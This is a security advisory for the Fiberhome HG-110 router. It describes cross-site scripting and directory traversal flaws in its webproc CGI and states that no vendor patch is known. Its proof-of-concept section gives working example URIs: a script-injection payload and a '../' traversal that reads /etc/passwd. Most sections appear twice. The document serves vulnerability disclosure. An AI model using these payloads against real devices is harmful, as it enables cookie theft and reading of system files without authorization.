Fiberhome HG-110 Cross Site Scripting and Directory Traversal Vulnerabilities
BID:47277
Info
Fiberhome HG-110 Cross Site Scripting and Directory Traversal Vulnerabilities
| Bugtraq ID: | 47277 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 08 2011 12:00AM |
| Updated: | Apr 08 2011 12:00AM |
| Credit: | Zerial |
| Vulnerable: |
Fiberhome HG-110 1.0 |
| Not Vulnerable: | |
Discussion
Fiberhome HG-110 Cross Site Scripting and Directory Traversal Vulnerabilities
Fiberhome HG-110 is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information, which may aid in launching further attacks.
Fiberhome HG-110 firmware 1.0.0 is vulnerable other versions may also be affected.
Fiberhome HG-110 is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information, which may aid in launching further attacks.
Fiberhome HG-110 firmware 1.0.0 is vulnerable other versions may also be affected.
Exploit / POC
Fiberhome HG-110 Cross Site Scripting and Directory Traversal Vulnerabilities
Attackers can exploit the cross-site scripting issue by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&var:menu=advanced&var:page=dns
Local File Include and Directory/Path Traversal:
-
http://www.example.com/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&var:menu=advanced&var:page=dns
Attackers can exploit the cross-site scripting issue by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&var:menu=advanced&var:page=dns
Local File Include and Directory/Path Traversal:
-
http://www.example.com/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&var:menu=advanced&var:page=dns
Solution / Fix
Fiberhome HG-110 Cross Site Scripting and Directory Traversal Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Fiberhome HG-110 Cross Site Scripting and Directory Traversal Vulnerabilities
References:
References: